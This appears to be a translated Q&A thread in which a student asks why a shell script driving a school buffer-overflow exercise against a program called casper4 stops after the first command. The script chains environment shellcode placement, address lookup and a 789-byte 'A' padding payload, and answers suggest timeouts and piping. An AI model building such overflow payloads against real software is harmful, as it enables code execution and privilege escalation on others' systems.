我正在为学校项目编写缓冲区溢出漏洞利用程序。我试图利用的程序称为casper4
。我知道如何利用该程序,但现在我正在尝试将命令序列放入一个shell脚本中。
我的脚本如下所示:
#!/bin/sh
./egg1; # Put the shell code in the enviromnent
./eggfind > output.txt; # Put the address of the shellcode in output.txt
./escapeAddr "$(<output.txt)" > addressHexa.txt # Escape the address
echo -e "$(<addressHexa.txt)" > address.txt; # Address to ascii
perl -e 'print "A"x789' > As.txt; # Get As to fill the buffer
cat As.txt address.txt > input.txt; # Create one input file
./casper4 "$(<input.txt)"; # Feed the input to the program
我认为了解每个脚本/程序的作用并不重要。问题是每当我运行这个脚本时,它似乎只执行./egg1而不是顺序执行所有命令。
当我将这些行分别输入到命令行中时,它会产生正确的结果。
如何让这个脚本实现与在命令行中一对一地输入这些行相同的结果?
答案 0 :(得分:1)
很可能其中一个命令没有退出,这就是整个序列。最好的选择是为代码添加超时以帮助调试。
我建议这篇关于shell防御编码的文章: Robust shell scripts
在脚本中包含超时: Timeout a command in bash
答案 1 :(得分:1)
您可以使用./egg1 | ./eggfind | ...
管道命令...
表示其余命令。只需将它们分隔为|
。